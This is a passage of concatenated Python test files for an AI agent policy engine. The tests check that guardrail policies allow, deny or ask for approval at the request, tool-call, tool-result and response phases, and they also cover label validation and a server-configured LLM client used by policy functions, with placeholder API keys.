result = await _enforce_policy(engine, _input_ctx("hello"))
assert result.action == PolicyAction.ALLOW
assert result.reason is None
@pytest.mark.asyncio
async def test_input_phase_deny(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""A fixed policy on INPUT with DENY action fires on any
INPUT evaluation; workflow's INPUT site would produce a
sentinel message in response."""
policy = make_fixed_policy(
name="block_input",
on=[PhaseSelector(phase=Phase.REQUEST)],
action=PolicyAction.DENY,
reason="prohibited content",
)
conv = conversation_store.create_conversation()
engine = PolicyEngine(
policies=[policy],
label_defs={},
ask_timeout=30,
conversation_id=conv.id,
initial_labels={},
conversation_store=conversation_store,
)
result = await _enforce_policy(engine, _input_ctx("bad"))
assert result.action == PolicyAction.DENY
assert result.reason == "prohibited content"
# Workflow reads deciding_policy for observability.
assert result.deciding_policy == "block_input"
# ── TOOL_CALL phase ───────────────────────────────────
def _tool_call_ctx(name: str, args: dict) -> EvaluationContext:
"""Build the context the workflow would assemble inside
`_call_tool` before dispatch."""
return EvaluationContext(
phase=Phase.TOOL_CALL,
content={"name": name, "arguments": args},
tool_name=name,
)
@pytest.mark.asyncio
async def test_tool_call_allow(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""A tool_call on a tool with no matching policy ALLOWs."""
conv = conversation_store.create_conversation()
engine = PolicyEngine(
policies=[],
label_defs={},
ask_timeout=30,
conversation_id=conv.id,
initial_labels={},
conversation_store=conversation_store,
)
r = await _enforce_policy(engine, _tool_call_ctx("web_search", {"q": "x"}))
assert r.action == PolicyAction.ALLOW
@pytest.mark.asyncio
async def test_tool_call_deny_by_tool_name(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""Tool-narrowed policy DENYs only its specific tool —
others pass freely."""
policy = make_fixed_policy(
name="no_shell",
on=[PhaseSelector(phase=Phase.TOOL_CALL, tool_name="run_shell")],
action=PolicyAction.DENY,
reason="shell disallowed",
)
conv = conversation_store.create_conversation()
engine = PolicyEngine(
policies=[policy],
label_defs={},
ask_timeout=30,
conversation_id=conv.id,
initial_labels={},
conversation_store=conversation_store,
)
# run_shell → DENY.
r1 = await _enforce_policy(
engine,
_tool_call_ctx("run_shell", {"cmd": "ls"}),
)
assert r1.action == PolicyAction.DENY
# Different tool passes.
r2 = await _enforce_policy(
engine,
_tool_call_ctx("web_search", {"q": "x"}),
)
assert r2.action == PolicyAction.ALLOW
@pytest.mark.asyncio
async def test_tool_call_ask_withholds_labels(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""ASK at tool_call → caller parks for approval; the
set_labels on the result are NOT yet applied (§7.2)."""
policy = make_fixed_policy(
name="confirm_shell",
on=[PhaseSelector(phase=Phase.TOOL_CALL, tool_name="run_shell")],
action=PolicyAction.ASK,
reason="please confirm",
set_labels={"shell_approved": "maybe"},
)
conv = conversation_store.create_conversation()
engine = PolicyEngine(
policies=[policy],
label_defs={},
ask_timeout=30,
conversation_id=conv.id,
initial_labels={},
conversation_store=conversation_store,
)
r = await _enforce_policy(engine, _tool_call_ctx("run_shell", {"cmd": "ls"}))
assert r.action == PolicyAction.ASK
# Result carries pending writes for the caller to apply
# on approve.
assert r.set_labels == {"shell_approved": "maybe"}
# But the engine did NOT apply them — hot cache is empty.
assert engine.labels == {}
# ── TOOL_RESULT phase ─────────────────────────────────
def _tool_result_ctx(name: str, output: str) -> EvaluationContext:
"""Build the context the workflow assembles from a
function_call_output item after tool dispatch.
``content`` is the raw tool output string, mirroring the
workflow's TOOL_RESULT contract — symmetric with INPUT /
OUTPUT phases.
"""
return EvaluationContext(
phase=Phase.TOOL_RESULT,
content=output,
tool_name=name,
)
@pytest.mark.asyncio
async def test_tool_result_allow_with_label_write(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""A fixed policy tainting integrity on tool_result —
workflow would see ALLOW with accumulated writes, and
the writes persist."""
policy = make_fixed_policy(
name="taint_on_web",
on=[PhaseSelector(phase=Phase.TOOL_RESULT, tool_name="web_search")],
action=PolicyAction.ALLOW,
set_labels={"integrity": "0"},
)
conv = conversation_store.create_conversation()
engine = PolicyEngine(
policies=[policy],
label_defs={},
ask_timeout=30,
conversation_id=conv.id,
initial_labels={"integrity": "1"},
conversation_store=conversation_store,
)
r = await _enforce_policy(
engine,
_tool_result_ctx("web_search", "results..."),
)
assert r.action == PolicyAction.ALLOW
# Labels landed on ALLOW (no ASK path in this test).
assert engine.labels["integrity"] == "0"
# ── OUTPUT phase ──────────────────────────────────────
def _output_ctx(text: str) -> EvaluationContext:
"""Build the context the workflow assembles from the
LLM's final assistant response text."""
return EvaluationContext(
phase=Phase.RESPONSE,
content=text,
tool_name=None,
)
@pytest.mark.asyncio
async def test_output_phase_allow(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""No OUTPUT policies → response passes through."""
conv = conversation_store.create_conversation()
engine = PolicyEngine(
policies=[],
label_defs={},
ask_timeout=30,
conversation_id=conv.id,
initial_labels={},
conversation_store=conversation_store,
)
r = await _enforce_policy(engine, _output_ctx("The answer is 42."))
assert r.action == PolicyAction.ALLOW
@pytest.mark.asyncio
async def test_output_phase_deny(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""OUTPUT DENY → workflow must replace the response
with a sentinel before persistence. The pre-persistence
ordering is load-bearing (POLICIES.md §11.4) — a DENY
at OUTPUT must mean the raw content never hits the
store."""
policy = make_fixed_policy(
name="redact_output",
on=[PhaseSelector(phase=Phase.RESPONSE)],
action=PolicyAction.DENY,
reason="sensitive content in response",
)
conv = conversation_store.create_conversation()
engine = PolicyEngine(
policies=[policy],
label_defs={},
ask_timeout=30,
conversation_id=conv.id,
initial_labels={},
conversation_store=conversation_store,
)
r = await _enforce_policy(engine, _output_ctx("confidential details"))
assert r.action == PolicyAction.DENY
# Workflow uses the reason in its sentinel.
assert r.reason == "sensitive content in response"
# ── Cross-phase: one policy, multiple phases ──────────
@pytest.mark.asyncio
async def test_policy_fires_on_multiple_phases(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""A policy with multiple PhaseSelectors fires on each
matching phase. Workflow treats each enforcement site
independently — one engine.evaluate per phase — so the
contract is that the selector match is per-call."""
policy = make_fixed_policy(
name="log_input_and_output",
on=[
PhaseSelector(phase=Phase.REQUEST),
PhaseSelector(phase=Phase.RESPONSE),
],
action=PolicyAction.ALLOW,
set_labels={"observed": "true"},
)
conv = conversation_store.create_conversation()
engine = PolicyEngine(
policies=[policy],
label_defs={},
ask_timeout=30,
conversation_id=conv.id,
initial_labels={},
conversation_store=conversation_store,
)
# Fires on INPUT.
await _enforce_policy(engine, _input_ctx("user message"))
assert engine.labels["observed"] == "true"
# Clear and fire again on OUTPUT — same write lands.
engine._labels.clear()
conversation_store.set_labels(conv.id, {"observed": "false"})
await _enforce_policy(engine, _output_ctx("response"))
assert engine.labels["observed"] == "true"
# Does NOT fire on TOOL_CALL (not in selector list).
engine._labels.clear()
conversation_store.set_labels(conv.id, {"observed": "false"})
await _enforce_policy(
engine,
_tool_call_ctx("web_search", {}),
)
# No write — policy didn't match TOOL_CALL.
assert engine.labels == {}
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,123 @@
"""
Tests for :meth:`PolicyEngine.apply_label_writes` schema
validation (POLICIES.md §10 / §13).
Silent-drop semantics:
- Key not in ``LabelDef.values`` → dropped.
- Unknown key (no LabelDef) → set freely.
- Valid write → persisted via the store.
The drop path is silent by design (matches omnigent) —
a runtime validation failure does NOT raise. The surviving
writes still land atomically.
"""
from __future__ import annotations
from omnigent.runtime.policies.engine import PolicyEngine
from omnigent.spec.types import LabelDef
from omnigent.stores.conversation_store.sqlalchemy_store import (
SqlAlchemyConversationStore,
)
# ── Engine-level filtering ────────────────────────────
def _build_engine_with_defs(
store: SqlAlchemyConversationStore,
label_defs: dict[str, LabelDef],
*,
initial_labels: dict[str, str] | None = None,
) -> PolicyEngine:
"""Build an engine with specific label_defs."""
conv = store.create_conversation()
return PolicyEngine(
policies=[],
label_defs=label_defs,
ask_timeout=30,
conversation_id=conv.id,
initial_labels=initial_labels or {},
conversation_store=store,
)
def test_apply_label_writes_drops_value_outside_enum(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""A value not in ``LabelDef.values`` is silently
dropped. Prevents a policy (or a prompt-policy
classifier) from injecting an arbitrary string into an
enumerated label."""
engine = _build_engine_with_defs(
conversation_store,
{"integrity": LabelDef(values=["0", "1"])},
)
# "2" is not in values → dropped. "integrity": "1" is
# valid → lands.
engine.apply_label_writes({"integrity": "1", "other": "x"})
# Hot cache has the valid write + the unknown-key
# write (unknown keys pass through per POLICIES.md §10
# schemaless-set-freely rule).
assert engine.labels == {"integrity": "1", "other": "x"}
# Now try to set an out-of-enum value.
engine.apply_label_writes({"integrity": "2"})
# Dropped — cache still shows "1".
assert engine.labels["integrity"] == "1"
def test_apply_label_writes_partial_batch_survives(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""One key in a multi-key batch violates the schema;
OTHER keys still land. Silent-drop is per-key, not
all-or-nothing."""
engine = _build_engine_with_defs(
conversation_store,
{
"integrity": LabelDef(values=["0", "1"]),
"other": LabelDef(values=["a", "b"]),
},
initial_labels={"integrity": "0"},
)
# integrity "2" is out-of-enum (drop); other "a" is valid (land).
engine.apply_label_writes({"integrity": "2", "other": "a"})
# Only `other` landed; integrity unchanged.
assert engine.labels == {"integrity": "0", "other": "a"}
def test_apply_label_writes_schemaless_keys_pass_freely(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""Keys with no LabelDef are set freely — the
omnigent-parity behavior that lets policies write
ad-hoc labels without declaring a schema first
(POLICIES.md §10)."""
engine = _build_engine_with_defs(
conversation_store,
{}, # no label_defs at all
)
engine.apply_label_writes({"any": "value", "anything": "123"})
# Both landed — no schema to enforce.
assert engine.labels == {"any": "value", "anything": "123"}
def test_apply_label_writes_values_only_free_transitions(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""`values` declared — enum check only, transitions between
declared values are free."""
engine = _build_engine_with_defs(
conversation_store,
{"role": LabelDef(values=["admin", "user", "guest"])},
initial_labels={"role": "user"},
)
# Free transitions within the enum.
engine.apply_label_writes({"role": "admin"})
assert engine.labels["role"] == "admin"
engine.apply_label_writes({"role": "guest"})
assert engine.labels["role"] == "guest"
# Out-of-enum still rejected.
engine.apply_label_writes({"role": "root"})
assert engine.labels["role"] == "guest"
@@ -0,0 +1,639 @@
"""
Tests for server-level LLM configuration for policy functions.
Covers:
- :class:`PolicyLLMClient` construction and ``create()`` delegation.
- :class:`EvaluationContext` carries ``llm_client`` field.
- :class:`PolicyEngine` injects ``llm_client`` into the context.
- :func:`_build_event` exposes ``llm_client`` in the event dict.
- :func:`build_policy_engine` constructs a :class:`PolicyLLMClient`
from ``server_llm``.
- :class:`RuntimeCaps` accepts ``llm`` field.
- :func:`parse_server_llm` delegates to ``_parse_llm``.
"""
from __future__ import annotations
from typing import Any
from unittest.mock import AsyncMock
import pytest
from omnigent.policies.function import FunctionPolicy, _build_event
from omnigent.policies.types import EvaluationContext, PolicyLLMClient
from omnigent.runtime.caps import RuntimeCaps
from omnigent.runtime.policies.builder import (
_build_policy_llm_client,
_resolve_server_llm_connection,
build_policy_engine,
)
from omnigent.runtime.policies.engine import PolicyEngine
from omnigent.spec import parse_server_llm
from omnigent.spec.types import (
AgentSpec,
FunctionPolicySpec,
FunctionRef,
GuardrailsSpec,
LLMConfig,
Phase,
PhaseSelector,
)
from omnigent.stores.conversation_store.sqlalchemy_store import (
SqlAlchemyConversationStore,
)
# ── Helpers ──────────────────────────────────────────────────────────────────
def _make_server_llm() -> LLMConfig:
"""
Build a realistic server-level LLM config for tests.
:returns: A :class:`LLMConfig` with model, connection, and
timeout fields populated.
"""
return LLMConfig(
model="openai/gpt-4o-mini",
connection={"api_key": "test-key", "base_url": "https://example.com"},
request_timeout=60,
)
class _FakeResponsesNamespace:
"""
Stub for ``Client.responses`` that records calls.
:param response: The value to return from ``create()``.
"""
def __init__(self, response: Any) -> None:
self._response = response
self.create = AsyncMock(return_value=response)
class _FakeClient:
"""
Stub LLM client that records ``responses.create()`` calls.
Does not use MagicMock — attributes are explicit so any
unexpected access raises ``AttributeError`` loudly.
:param response: The fixed value ``responses.create()``
returns.
"""
def __init__(self, response: Any = "fake-response") -> None:
self.responses = _FakeResponsesNamespace(response)
def _llm_capturing_policy(bucket: dict[str, Any]) -> FunctionPolicy:
"""
Build a :class:`FunctionPolicy` that records ``event["llm_client"]``
into *bucket* for assertion.
:param bucket: Dict to write the captured client into under
key ``"llm_client"``.
:returns: A capturing :class:`FunctionPolicy`.
"""
def _evaluate(event: dict[str, Any]) -> dict[str, Any]:
bucket["llm_client"] = event["llm_client"]
return {"result": "ALLOW"}
spec = FunctionPolicySpec(
name="capture_llm",
on=[PhaseSelector(phase=Phase.REQUEST)],
function=FunctionRef(path="test.not.used"),
)
return FunctionPolicy(spec, _evaluate)
# ── RuntimeCaps.llm field ────────────────────────────────────────────────────
def test_runtime_caps_llm_defaults_to_none() -> None:
"""
RuntimeCaps with no args has ``llm=None``.
What breaks if this fails: the caps dataclass changed its
default, which would cause a ``PolicyLLMClient`` to be built
even when the server config has no ``llm:`` block.
"""
caps = RuntimeCaps()
assert caps.llm is None
def test_runtime_caps_accepts_llm_config() -> None:
"""
RuntimeCaps stores the provided LLMConfig on the ``llm``
field.
What breaks if this fails: the ``llm`` field is not wired
into the dataclass, so the CLI can't pass it through.
"""
llm = _make_server_llm()
caps = RuntimeCaps(llm=llm)
# Verify the exact object is stored, not a copy or None.
assert caps.llm is llm
assert caps.llm.model == "openai/gpt-4o-mini"
# ── parse_server_llm ────────────────────────────────────────────────────────
def test_parse_server_llm_none_returns_none() -> None:
"""
``parse_server_llm(None)`` returns ``None`` — the server
config has no ``llm:`` block.
What breaks if this fails: absent ``llm:`` key is
misinterpreted as a present-but-empty block.
"""
result = parse_server_llm(None)
assert result is None
def test_parse_server_llm_parses_valid_block() -> None:
"""
``parse_server_llm`` delegates to ``_parse_llm`` and returns
a populated :class:`LLMConfig`.
What breaks if this fails: the public wrapper doesn't
actually call the parser, so model/connection are lost.
"""
raw = {
"model": "openai/gpt-4o-mini",
"connection": {"api_key": "sk-test"},
"request_timeout": 45,
}
result = parse_server_llm(raw, expand_env=False)
assert result is not None
assert result.model == "openai/gpt-4o-mini"
assert result.connection == {"api_key": "sk-test"}
assert result.request_timeout == 45
# ── PolicyLLMClient ─────────────────────────────────────────────────────────
@pytest.mark.asyncio
async def test_policy_llm_client_create_delegates_to_inner_client() -> None:
"""
``PolicyLLMClient.create()`` forwards to
``client.responses.create()`` with pre-bound model,
connection, and timeout.
What breaks if this fails: the wrapper doesn't call the
underlying client, so policy LLM calls silently return
nothing or raise.
"""
fake_client = _FakeClient(response="test-llm-response")
policy_client = PolicyLLMClient(
_client=fake_client,
_model="openai/gpt-4o-mini",
_connection={"api_key": "sk-test"},
_request_timeout=60,
)
result = await policy_client.create(
input=[{"role": "user", "content": [{"type": "input_text", "text": "hi"}]}],
instructions="Be helpful.",
)
# The wrapper returned what the inner client returned.
assert result == "test-llm-response"
# Verify the inner client was called with pre-bound params.
fake_client.responses.create.assert_awaited_once()
call_kwargs = fake_client.responses.create.call_args.kwargs
assert call_kwargs["model"] == "openai/gpt-4o-mini"
assert call_kwargs["connection_params"] == {"api_key": "sk-test"}
assert call_kwargs["timeout"] == 60
assert call_kwargs["instructions"] == "Be helpful."
# Input was forwarded as-is.
assert call_kwargs["input"] == [
{"role": "user", "content": [{"type": "input_text", "text": "hi"}]}
]
@pytest.mark.asyncio
async def test_policy_llm_client_create_allows_overrides() -> None:
"""
Callers can override ``model``, ``connection_params``, and
``timeout`` via kwargs.
What breaks if this fails: policy callables cannot use a
different model than the server default for specific calls.
"""
fake_client = _FakeClient(response="overridden")
policy_client = PolicyLLMClient(
_client=fake_client,
_model="openai/gpt-4o-mini",
_connection={"api_key": "sk-test"},
_request_timeout=60,
)
await policy_client.create(
input=[{"role": "user", "content": "hello"}],
model="openai/gpt-4o",
connection_params={"api_key": "sk-override"},
timeout=120,
)
call_kwargs = fake_client.responses.create.call_args.kwargs
# Overrides take precedence over pre-bound values.
assert call_kwargs["model"] == "openai/gpt-4o"
assert call_kwargs["connection_params"] == {"api_key": "sk-override"}
assert call_kwargs["timeout"] == 120
# ── EvaluationContext.llm_client ────────────────────────────────────────────
def test_evaluation_context_llm_client_defaults_to_none() -> None:
"""
``EvaluationContext`` has ``llm_client=None`` by default.
What breaks if this fails: the field doesn't exist or has a
non-None default, which would inject a phantom client into
test contexts.
"""
ctx = EvaluationContext(phase=Phase.REQUEST, content="hello")
assert ctx.llm_client is None
def test_evaluation_context_accepts_llm_client() -> None:
"""
``EvaluationContext`` accepts a ``llm_client`` value.
What breaks if this fails: the field is not on the frozen
dataclass, so ``replace(ctx, llm_client=...)`` would raise.
"""
sentinel = object()
ctx = EvaluationContext(
phase=Phase.REQUEST,
content="hello",
llm_client=sentinel,
)
assert ctx.llm_client is sentinel
# ── _build_event includes llm_client ────────────────────────────────────────
def test_build_event_includes_llm_client_none() -> None:
"""
``_build_event`` includes ``llm_client: None`` when the
context has no LLM client.
What breaks if this fails: the key is missing from the event
dict, causing ``KeyError`` in policy callables that check
``event["llm_client"]``.
"""
ctx = EvaluationContext(phase=Phase.REQUEST, content="hello")
event = _build_event(ctx)
assert "llm_client" in event
assert event["llm_client"] is None
def test_build_event_includes_llm_client_object() -> None:
"""
``_build_event`` passes through the ``llm_client`` object
from the context.
What breaks if this fails: the LLM client is dropped or
copied instead of passed through, so the policy callable
gets a different object than the engine injected.
"""
sentinel = object()
ctx = EvaluationContext(
phase=Phase.REQUEST,
content="hello",
llm_client=sentinel,
)
event = _build_event(ctx)
# Same object — not copied, since it's a shared client.
assert event["llm_client"] is sentinel
# ── PolicyEngine injects llm_client ─────────────────────────────────────────
@pytest.mark.asyncio
async def test_engine_injects_llm_client_into_policy(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""
The engine injects the ``llm_client`` from its constructor
into ``event["llm_client"]`` for every policy evaluation.
What breaks if this fails: function policies that need an
LLM client (e.g. prompt-difficulty classifiers) receive
``None`` even when the server has ``llm:`` configured.
"""
bucket: dict[str, Any] = {}
sentinel = object()
conv = conversation_store.create_conversation()
engine = PolicyEngine(
policies=[_llm_capturing_policy(bucket)],
label_defs={},
ask_timeout=30,
conversation_id=conv.id,
initial_labels={},
conversation_store=conversation_store,
llm_client=sentinel,
)
await engine.evaluate(EvaluationContext(phase=Phase.REQUEST, content="hi"))
# The policy callable received the exact llm_client the engine
# was constructed with.
assert bucket["llm_client"] is sentinel
@pytest.mark.asyncio
async def test_engine_injects_none_when_no_llm_client(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""
When the engine has no ``llm_client`` (server has no ``llm:``
config), ``event["llm_client"]`` is ``None``.
What breaks if this fails: policy callables get a stale or
garbage value instead of a clean ``None``.
"""
bucket: dict[str, Any] = {}
conv = conversation_store.create_conversation()
engine = PolicyEngine(
policies=[_llm_capturing_policy(bucket)],
label_defs={},
ask_timeout=30,
conversation_id=conv.id,
initial_labels={},
conversation_store=conversation_store,
# llm_client defaults to None
)
await engine.evaluate(EvaluationContext(phase=Phase.REQUEST, content="hi"))
assert bucket["llm_client"] is None
# ── _build_policy_llm_client ────────────────────────────────────────────────
def test_build_policy_llm_client_none_returns_none() -> None:
"""
``_build_policy_llm_client(None, None)`` returns ``None``.
What breaks if this fails: a ``PolicyLLMClient`` is
constructed from ``None`` config, which would crash.
"""
result = _build_policy_llm_client(None, None)
assert result is None
def test_build_policy_llm_client_constructs_from_config() -> None:
"""
``_build_policy_llm_client`` builds a :class:`PolicyLLMClient`
with model, connection, and timeout from the config. The
connection is resolved separately (by
:func:`_resolve_server_llm_connection`) and passed in.
What breaks if this fails: the builder doesn't construct the
client or drops config fields, so policies can't call the LLM.
"""
llm_config = _make_server_llm()
connection = _resolve_server_llm_connection(llm_config)
result = _build_policy_llm_client(llm_config, connection)
assert result is not None
assert isinstance(result, PolicyLLMClient)
assert result._model == "openai/gpt-4o-mini"
assert result._connection == {"api_key": "test-key", "base_url": "https://example.com"}
assert result._request_timeout == 60
# ── build_policy_engine wiring ──────────────────────────────────────────────
def test_build_policy_engine_without_server_llm(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""
``build_policy_engine`` without ``server_llm`` produces an
engine whose ``_llm_client`` is ``None``.
What breaks if this fails: engines get a phantom LLM client
when none was configured.
"""
conv = conversation_store.create_conversation()
spec = AgentSpec(spec_version=1, name="test-agent")
engine = build_policy_engine(
spec=spec,
conversation_id=conv.id,
conversation_store=conversation_store,
)
# No server_llm → no llm_client on the engine.
assert engine._llm_client is None
def test_build_policy_engine_with_server_llm(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""
``build_policy_engine`` with ``server_llm`` produces an
engine whose ``_llm_client`` is a :class:`PolicyLLMClient`.
What breaks if this fails: the builder ignores the
``server_llm`` param, so policies can't access the LLM.
"""
conv = conversation_store.create_conversation()
spec = AgentSpec(
spec_version=1,
name="test-agent",
guardrails=GuardrailsSpec(
policies=[
FunctionPolicySpec(
name="noop",
on=[PhaseSelector(phase=Phase.REQUEST)],
function=FunctionRef(
path="tests.runtime.policies.conftest._always_allow",
),
),
],
),
)
llm_config = _make_server_llm()
engine = build_policy_engine(
spec=spec,
conversation_id=conv.id,
conversation_store=conversation_store,
server_llm=llm_config,
)
# Engine has a PolicyLLMClient with the server config.
assert engine._llm_client is not None
assert isinstance(engine._llm_client, PolicyLLMClient)
assert engine._llm_client._model == "openai/gpt-4o-mini"
@pytest.mark.asyncio
async def test_build_policy_engine_llm_client_reaches_callable(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""
End-to-end: ``server_llm`` on the builder produces an engine
that injects a :class:`PolicyLLMClient` into the callable's
``event["llm_client"]``.
What breaks if this fails: the full pipeline (builder →
engine → evaluate → _build_event → callable) has a gap.
"""
bucket: dict[str, Any] = {}
capturing = _llm_capturing_policy(bucket)
conv = conversation_store.create_conversation()
# Build engine with server_llm — we can't use the real
# build_policy_engine because the capturing policy's spec
# has a fake function.path. Instead, build the client and
# engine directly.
llm_config = _make_server_llm()
llm_client = _build_policy_llm_client(llm_config, _resolve_server_llm_connection(llm_config))
engine = PolicyEngine(
policies=[capturing],
label_defs={},
ask_timeout=30,
conversation_id=conv.id,
initial_labels={},
conversation_store=conversation_store,
llm_client=llm_client,
)
await engine.evaluate(EvaluationContext(phase=Phase.REQUEST, content="hi"))
# The capturing policy saw the PolicyLLMClient.
captured = bucket["llm_client"]
assert captured is not None
assert isinstance(captured, PolicyLLMClient)
assert captured._model == "openai/gpt-4o-mini"
assert captured._connection == {"api_key": "test-key", "base_url": "https://example.com"}
assert captured._request_timeout == 60
# ── Databricks profile support ──────────────────────────────────────────────
def test_parse_server_llm_with_profile() -> None:
"""
``parse_server_llm`` parses the ``profile:`` field into
``LLMConfig.profile``.
What breaks if this fails: the parser drops the profile
field, so Databricks profile auth is silently ignored.
"""
raw = {
"model": "databricks-claude-sonnet-4-6",
"profile": "my-workspace",
"request_timeout": 30,
}
result = parse_server_llm(raw, expand_env=False)
assert result is not None
assert result.model == "databricks-claude-sonnet-4-6"
assert result.profile == "my-workspace"
assert result.connection is None
# profile should NOT leak into extra
assert "profile" not in result.extra
def test_parse_server_llm_profile_not_in_extra() -> None:
"""
``profile:`` is a reserved key — it must not appear in
``extra`` alongside model kwargs.
What breaks if this fails: ``profile`` is passed through to
the LLM SDK as a kwarg, which would cause an unexpected
parameter error.
"""
raw = {
"model": "databricks-gpt-5-4-mini",
"profile": "dev",
"temperature": 0.5,
}
result = parse_server_llm(raw, expand_env=False)
assert result is not None
assert result.profile == "dev"
assert result.extra == {"temperature": 0.5}
def test_resolve_server_llm_connection_resolves_databricks_profile(
monkeypatch: pytest.MonkeyPatch,
) -> None:
"""
``_resolve_server_llm_connection`` resolves a Databricks profile
to connection params when ``connection`` is absent.
What breaks if this fails: specifying ``profile:`` in the
server config has no effect — the classifier and PolicyLLMClient
get ``connection=None`` and fall back to env var / OpenAI
defaults instead of the gateway.
"""
from omnigent.runtime.credentials.databricks import WorkspaceCreds
monkeypatch.setattr(
"omnigent.runtime.policies.builder.resolve_databricks_workspace",
lambda profile: WorkspaceCreds(
host="https://example.cloud.databricks.com",
token="dapi-test-token",
),
)
llm_config = LLMConfig(
model="databricks-claude-sonnet-4-6",
profile="my-workspace",
)
connection = _resolve_server_llm_connection(llm_config)
# Profile resolved to serving-endpoints URL + bearer token.
assert connection == {
"base_url": "https://example.cloud.databricks.com/serving-endpoints",
"api_key": "dapi-test-token",
}
def test_resolve_server_llm_connection_connection_wins_over_profile() -> None:
"""
When both ``connection`` and ``profile`` are set, ``connection``
wins — the profile is not resolved.
What breaks if this fails: explicit connection params are
overwritten by the profile, causing auth to go to the wrong
endpoint.
"""
llm_config = LLMConfig(
model="databricks-gpt-5-4-mini",
connection={"api_key": "explicit-key", "base_url": "https://explicit.com"},
profile="should-be-ignored",
)
connection = _resolve_server_llm_connection(llm_config)
# Explicit connection is used as-is; profile is not resolved.
assert connection == {
"api_key": "explicit-key",
"base_url": "https://explicit.com",
}
def test_resolve_server_llm_connection_none_returns_none() -> None:
"""
``_resolve_server_llm_connection(None)`` returns ``None`` and a
config with neither connection nor profile also resolves to
``None``.
What breaks if this fails: an absent server LLM would yield a
truthy connection, masking the no-config case.
"""
assert _resolve_server_llm_connection(None) is None
bare = LLMConfig(model="openai/gpt-4o-mini")
assert _resolve_server_llm_connection(bare) is None
@@ -0,0 +1,179 @@
"""
PolicyResult shape tests — dataclass invariants.
Verifies the contract every consumer of :class:`PolicyResult`
relies on: immutability, defensive equality, defaults, and
the deciding_policy attribution rules for composed results.
"""
from __future__ import annotations
from dataclasses import FrozenInstanceError
import pytest
from omnigent.policies.types import EvaluationContext, PolicyResult
from omnigent.spec.types import (
Phase,
PolicyAction,
)
# ── Frozen / immutable ────────────────────────────────
def test_policy_result_is_frozen() -> None:
"""PolicyResult is @dataclass(frozen=True) so consumers
can safely store it without defensive copies. Mutation
raises. If this regresses, the engine's composed
results could be mutated by observers and corrupt later
evaluations."""
r = PolicyResult(action=PolicyAction.ALLOW)
with pytest.raises((FrozenInstanceError, AttributeError)):
r.action = PolicyAction.DENY # type: ignore[misc]
# ── Default field values ──────────────────────────────
def test_policy_result_defaults() -> None:
"""Minimal construction sets sensible defaults."""
r = PolicyResult(action=PolicyAction.ALLOW)
assert r.action == PolicyAction.ALLOW
assert r.reason is None
assert r.set_labels is None
assert r.deciding_policy is None
assert r.deciding_policies is None
def test_policy_result_full_construction() -> None:
"""All fields settable; equality holds component-wise."""
r1 = PolicyResult(
action=PolicyAction.DENY,
reason="blocked",
set_labels={"a": "1"},
deciding_policies=["p"],
)
r2 = PolicyResult(
action=PolicyAction.DENY,
reason="blocked",
set_labels={"a": "1"},
deciding_policies=["p"],
)
# Equality is structural — two results with the same
# fields compare equal.
assert r1 == r2
def test_policy_result_inequality_on_action() -> None:
"""Different actions → not equal, even with same reason / labels."""
a = PolicyResult(action=PolicyAction.ALLOW, reason="x")
b = PolicyResult(action=PolicyAction.DENY, reason="x")
assert a != b
def test_policy_result_inequality_on_deciding_policy() -> None:
"""deciding_policy (derived from deciding_policies[0]) participates
in equality via deciding_policies — used by observability to
distinguish identical-reason results from different sources."""
a = PolicyResult(action=PolicyAction.DENY, deciding_policies=["a"])
b = PolicyResult(action=PolicyAction.DENY, deciding_policies=["b"])
assert a != b
assert a.deciding_policy == "a"
assert b.deciding_policy == "b"
# ── Evaluation context shape ──────────────────────────
def test_evaluation_context_is_frozen() -> None:
"""EvaluationContext is frozen — contexts pass through
multiple layers (engine → policy → condition); mutation
by any consumer would corrupt the shared view."""
ctx = EvaluationContext(phase=Phase.REQUEST, content="x")
with pytest.raises((FrozenInstanceError, AttributeError)):
ctx.phase = Phase.RESPONSE # type: ignore[misc]
def test_evaluation_context_defaults() -> None:
"""Minimal construction: phase + content required;
tool_name defaults to None."""
ctx = EvaluationContext(phase=Phase.REQUEST, content="x")
assert ctx.tool_name is None
def test_evaluation_context_with_tool_name() -> None:
"""Tool-phase context carries resolved tool_name."""
ctx = EvaluationContext(
phase=Phase.TOOL_CALL,
content={"tool": "web_search"},
tool_name="web_search",
)
assert ctx.tool_name == "web_search"
# ── Phase enum ────────────────────────────────────────
def test_phase_values_stable() -> None:
"""Phase enum values match the wire format exactly.
Clients / spec YAML use these strings; any rename
would silently break every deployed spec."""
assert Phase.REQUEST.value == "request"
assert Phase.TOOL_CALL.value == "tool_call"
assert Phase.TOOL_RESULT.value == "tool_result"
assert Phase.RESPONSE.value == "response"
assert Phase.LLM_REQUEST.value == "llm_request"
assert Phase.LLM_RESPONSE.value == "llm_response"
def test_phase_iteration_order() -> None:
"""Iteration order follows the agent loop: REQUEST →
TOOL_CALL → TOOL_RESULT → RESPONSE, then the LLM phases
(LLM_REQUEST → LLM_RESPONSE). Stable order matters for
observability dashboards and debug output that iterate phases
in a natural sequence."""
assert list(Phase) == [
Phase.REQUEST,
Phase.TOOL_CALL,
Phase.TOOL_RESULT,
Phase.RESPONSE,
Phase.LLM_REQUEST,
Phase.LLM_RESPONSE,
]
def test_phase_str_mixin_works() -> None:
"""Phase inherits str so `Phase.REQUEST == "request"` is
True — useful for JSON serialization / logging without
explicit `.value` calls."""
# Explicit == tests the str mix-in.
assert Phase.REQUEST == "request"
assert Phase.REQUEST == "request"
# And str() produces the value.
assert str(Phase.REQUEST.value) == "request"
# ── PolicyAction enum ─────────────────────────────────
def test_policy_action_values_stable() -> None:
"""PolicyAction enum values are spec-facing (YAML uses
these strings). Renames break every deployed spec."""
assert PolicyAction.ALLOW.value == "allow"
